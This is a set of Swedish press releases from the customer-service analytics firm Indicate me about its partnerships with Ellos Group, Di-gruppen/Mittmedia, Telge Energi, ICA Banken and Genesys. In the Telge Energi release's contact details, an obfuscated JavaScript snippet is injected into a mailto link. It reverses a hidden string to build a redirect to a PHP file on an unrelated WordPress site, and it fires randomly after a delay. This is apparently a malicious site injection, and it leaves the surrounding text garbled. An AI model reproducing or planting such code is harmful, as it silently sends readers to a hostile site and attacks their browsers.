Ellos Group väljer Indicate me för att få ett helhetsperspektiv av sin kundservice

Ellos Group med varumärken så som Ellos, Jotex, Stayhard och Homeroom har valt att ingå samarbete med Indicate me. Samarbetet innebär att Ellos Group kommer att få en komplett uppföljning av sin kundservice med ett helhetsperspektiv.
Ellos Group är den ledande e-handelsgruppen i Norden. Kundservicen kopplad till koncernen hanterar ärenden dagligen – året om – via telefon, mail, brev och sociala kanaler.

– Vi har valt att ingå samarbete med Indicate me för att få en helhetsbild av vår kundservice och för att göra våra kunder ännu mer nöjda. Med Indicate me kommer vi samla all uppföljning på ett ställe och få en tydligare bild av varför våra kunder kontaktar oss samt hur nöjda de blir med vår hantering av ärende. Indicate me ger oss också möjligheten att använda ett indextal som direkt visar hur vi presterar för alla nyckeltal i kundservice, säger Mathias Ekström, CMO på Ellos Group.

Lina Bjelkmar, VD Indicate me säger följande:

– Vi är stolta över att kunna erbjuda vår tjänst till Ellos Group och att tillsammans arbeta för en friktionsfri kundupplevelse. Med deras expertis inom mode, hem och e-handel och vår expertis inom kundservice, kan vi tillsammans arbeta för att skapa enkelhet för kunderna.

Andreas Kimmehed, Customer Success Manager och kontaktperson för det dagliga samarbetet säger följande:
– Vi erbjuder en 360 graders vy av kundservice och vi är extra glada att Ellos Group gett oss förtroendet att ingå partnerskap för den uppföljningen. Jag ser framemot att utveckla kundupplevelsen tillsammans.

Lina-bjelkmar
Kontaktinformation:
​Lina Bjelkmar 
VD Indicate me 
070-370 70 34

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. www.indicateme.se

Om Ellos
Ellos Group är en ledande e-handelsgrupp i Norden med bolagen Ellos, Jotex, Stayhard och Homeroom. I nära relation med våra miljontals kunder strävar vi ständigt efter att utveckla och erbjuda attraktiva erbjudanden inom mode och hemprodukter för hela familjen. För oss är kunden alltid i fokus. Ellos Group – med huvudkontor i Borås – är verksamt i samtliga nordiska länder. Ellos Group har ca 550 medarbetare och omsätter runt 2,6 miljarder kronor.

Di-gruppen och Mittmedia väljer Indicate me som leverantör för kundserviceuppföljning

Indicate me har ingått samarbetsavtal med Di-gruppen och Mittmedia och därmed fått förtroendet att leverera en 360 graders vy av kundservice. Samarbetet innebär att Di-gruppen och Mittmedia kommer att samla all sin kundserviceuppföljning på ett ställe i användarvänliga dashboards.

Di-gruppen och Mittmedia tar ett nytt steg mot en effektiv verksamhet genom att analysera alla sina kundkontakter. Enligt ett nytt avtal som de ingått med Indicate me kommer kundersviceverksamheten analyseras och följas upp mer detaljerat.

– Vår kundservice är de som har direktkontakt med våra kunder, därför väljer vi att lägga extra fokus där. Det nya samarbetet med Indicate me innebär att vi kommer att få en större insikt i alla våra kundkontakter. Syftet är att optimera vår verksamhet och leva upp till våra kunders förväntningar. Systemet från Indicate me kommer också ge oss ett bra verktyg för att mäta kundnöjdhet, säger Christoffer Fohrs, Kundservicechef, på Di-gruppen och MittMedia.

Di-gruppen och Mittmedia består av 35 titlar och ingår i Bonnier News som samlar Bonnierägda dagstidningarna och företag.

– Vi har väldigt många kunder som vill komma i kontakt med oss, därför anser vi att det är viktigt att vi har en modern kundservice som bland annat ligger i teknisk framkant. Vi har precis bytt telefoniplattform och implementerar nu en effektiv uppföljning med funktionalitet för gamification, berättar Christoffer.

Lina Bjelkmar, VD Indicate me säger följande om samarbetet:
– Di-gruppen och Mittmedia ingår i en av Sveriges största koncerner och med många kontakter in till kundservicen skapas en guldgruva med information. Att analysera den här typen av data är något som vi är experter på inom Indicate me.

Andreas Kimmehed, Customer Success Manager Indicate me och kontaktperson för sammarbetet säger följande: 

– Det här är ett väldigt spännande uppdrag och jag ser framemot att fortsätta utveckla kundmötet tillsammans med dem.

Di-gruppen och Mittmedia planerar att arbeta i systemet aktivt från och med mars.

tor -->

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. www.indicateme.se

Om Bonnier News
Bonnier News samlar de Bonnierägda dagstidningarna och företag med angränsande verksamhetsområden. Vi är starkt knutna till vårt publicistiska uppdrag. Genom att värna om det fria ordet samtidigt som vi driver den digitala utvecklingen framåt siktar vi mot att bli Sveriges ledande mediehus.

Telge Energi stärker fokus på medarbetare och kund med hjälp av Indicate me

För strax under ett år sedan startades samarbetet mellan elbolaget Telge Energi och Indicate me. Fokus är på att bygga och stärka fokus på sina kundservicemedarbetares utveckling, vilket kommer att gynna slutkunderna.

Telge Energi är elbolaget som tar ett tydligt ställningstagande i miljö och hållbarhetsfrågor. Sedan starten av 2019 stärker de sitt fokus på medarbetarnas utveckling, kompetens och därigenom även kundfokus genom att kroka arm med Indicate me.

Lina Bjelkmar, VD Indicate me:
“En hållbar organisation byggs på friska och välmående medarbetare. Genom rätt systemstöd förser vi personal i kundservice med ett verktyg som möjliggör självledarskap. I systemet finns det flera funktioner med fokus på att förstärka positiva beteenden hos kundservicemedarbetare samt en gamification del som möjliggör tävlingar mot sig själv eller kollegor. Glada och nöjda medarbetare stannar längre, mår bättre och skapar bättre resultat, vilket går i linje med företagets värderingar. Alla vill göra ett bra jobb och vi på Indicate me ger ett bra systemstöd för det.” 

Vidare berättar Lina:
“Det kan vara ganska krävande att dag in och dag ut hjälpa kunder, därför är det viktigt att påminna medarbetare om all fantastisk respons de får. I systemet höjer vi medarbetare bland annat genom att förse dem med positiva, automatiska notiser i realtid baserat på det arbete de genomför. Dessutom gör vi det lätt att identifiera situationer som tar energi, vilket ger en bra grund till att genomföra förbättringar. Om man förstärker positiva resultat och minimerar energibovar, då mår man definitivt bättre på jobbet.”

Telge Energi arbetar i systemet
Telge Energi har genomgått en utbildning av systemet och använder det dagligen. Magnus Eldberg, Försäljningschef på Telge Energi säger följande:
”Vårt mål är supernöjda kunder och det arbetet börjar med våra egna medarbetare. Med Indicate me får medarbetarna möjligheten att direkt se vilken kundnöjdhet de levererar och vilka förbättringsområden de själva har. Coacherna ser samma sak och kan stötta de medarbetarna som behöver extra utbildning eller bara uppmärksammas med positiv feedback”.

Avslutningsvis säger Lina:

”Telge Energi är ett företag som ligger i framkant, inte minst inom kundservice. 2018, tog de en andra plats inom energibranschen för upplevd service och kundbemötande. Det är en förmån för oss att få arbeta med en kund som förstår vikten av kundservice och som prioriterar sin personal – på riktigt. Vi är oerhört glada att få vara partners med Telge Energi och ser framemot ett fortsatt bra samarbete.”

Lina-bjelkmar
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:Lina.Bjelkmar@Indicateme.se”>Lina.Bjelkmar@Indicateme.se
070-370 70 34

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Om Telge Energi
Telge Energi är elbolaget som alltid utmanat branschen. Först sänkte vi priserna, sen kämpade vi mot kolkraften. Nu står vi inför vår viktigaste utmaning någonsin – att göra Sverige till förebilden inom hållbarhet. 

För att göra det så behöver vi driva på vår egen bransch och se till att hållbar utveckling inte bara är fina ord i reklamfilmer. Vi gräver där vi står och satsar på initiativ som ska gynna både nutida och framtida generationer.

ICA banken och ICA försäkring inleder samarbete med Indicate me

,

ICA Banken och ICA Försäkring sätter fokus på sina kunder genom att teckna avtal med Indicate me. Samarbetet innebär att bolagen kommer att följa upp sin kundservice i ett modernt system som möjliggör mer träffsäker coaching och analys.
Kundservice består av en guldgruva med information – det är här som kunderna har en direktkontakt med företaget och som det finns en stor möjlighet att fånga upp förbättringar. Med hundratusentals interaktioner årligen, blir det alltmer viktigt att ta tillvara på datan och förstå den. Det är här Inidcate me kommer in i bilden.

Lina Bjelkmar, VD Inidcate me:
”Vi anser att det ska vara enkelt att hitta siffror, utföra analys och att komma till kundinsikt. Energi och arbetskraft i kundservice ska läggas på aktiviteter som bidrar till förbättringar istället för att leta siffror. Vårt system bygger på snabb och enkel uppföljning, med djupgående analys. Vi stödjer även självledarskap och har en gamification del som brukar uppskattas. Glada och nöjda medarbetare som trivs levererar i slutändan en bättre kundupplevelse. Alla vill göra ett bra jobb, vilket vi skapar bättre förutsättningar till.”

ICA Banken och ICA försäkring

”ICA Banken och ICA försäkring är två välkända, stora bolag. Det känns jättekul att de har valt att ingå samarbete med oss och vi kommer att göra vårt yttersta för att förvalta det förtroendet. Vi har sett flera mätbara resultat från våra andra kunder och vår förhoppning är såklart att även detta samarbete ska leda till mätbara förbättringar för bolagens slutkunder” säger Lina.

 

Lina-bjelkmar Kontaktinformation
Lina Bjelkmar, VD Indicate me
Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Indicate me stärker sin position med ny samarbetspartner

,

På bara två år har Indicate me byggt upp en stark kundbas med välkända varumärken så som PayEx, Ving och Nelly – för att bara nämna några. Nu stärker Indicate me sin position ytterligare genom att inleda ett nytt samarbete med Genesys.

I syftet att nå fler potentiella kunder på andra marknader än den svenska har Indicate me den senaste tiden analyserat möjliga samarbetspartners.
– Indicate me är ett ungt bolag med ett starkt moderbolag och koncern i ryggen. Vår kundbas har växt snabbt, men vi vill nå ut till fler på marknaden och även vidga oss internationellt, berättar Lina Bjelkmar, VD Indicate me.

Vidare berättar Lina.
– Vi tror att ett effektivt sätt för att fortsätta att växa är att samarbeta med stora och etablerade partners. Här är Genesys ett självklart val. Genesys är världsledande inom kommunikationslösningar för bättre kundupplevelser och har över 11,000 kunder i 100+ länder. Vi anser helt enkelt att Genesys är en av de starkaste leverantörerna på marknaden.

Komplement till PureCloud, PureEngage och PureConnect
Samarbetet med Genesys kommer att innebära att de kan erbjuda sina kunder uppföljningssystemet från Indicate me som ett komplement till deras egna contact center plattformar PureCloud, PureEngage och PureConnect.
– Genesys tror på partnerskap och att vi blir bättre tillsammans. Det låter ju självklart, men min erfarenhet är att det är alldeles för många bolag som är rädda för konkurrens och transparens, vilket gör att de missar möjligheten att utvecklas genom samarbete. Genesys vill ha oss som partner för de vet att om de erbjuder en helhetslösning till sina kunder så bidrar det till högre kundnöjdhet och ökad lojalitet, berättar Lina.

Om Indicate me
Indicate me ger 360 graders vy av er kundservice genom att samla viktiga nyckeltal inom kvalitet, försäljning och effektivitet i en engagerande dashboard. Medarbetare förstår och följer sin utveckling, vilket leder till ökat engagemang och självledarskap. 

Om Genesys
Genesys® bidrar till 25 miljarder kundupplevelser i världsklass varje år. Vi sammanför varje dag anställda och kunder för samtal via olika kanaler. Över 11 000 företag i över 100 länder använder vår världsledande kundupplevelseplattform för att nå framgångsrika affärsresultat och varaktiga relationer. Vi kombinerar det främsta inom teknik och uppfinningsrikedom för att hitta lösningar som påminner om naturlig kommunikation och som är enkla att förstå. Våra branschledande lösningar passar och främjar kommunikation inom alla kanaler – både som kundplacerad lösning och i molnet. Upplev kommunikation som den ska vara: följsam, instinktiv och djupt stärkande.
www.genesys.com/se
https://appfoundry.genesys.com/

Kontakta oss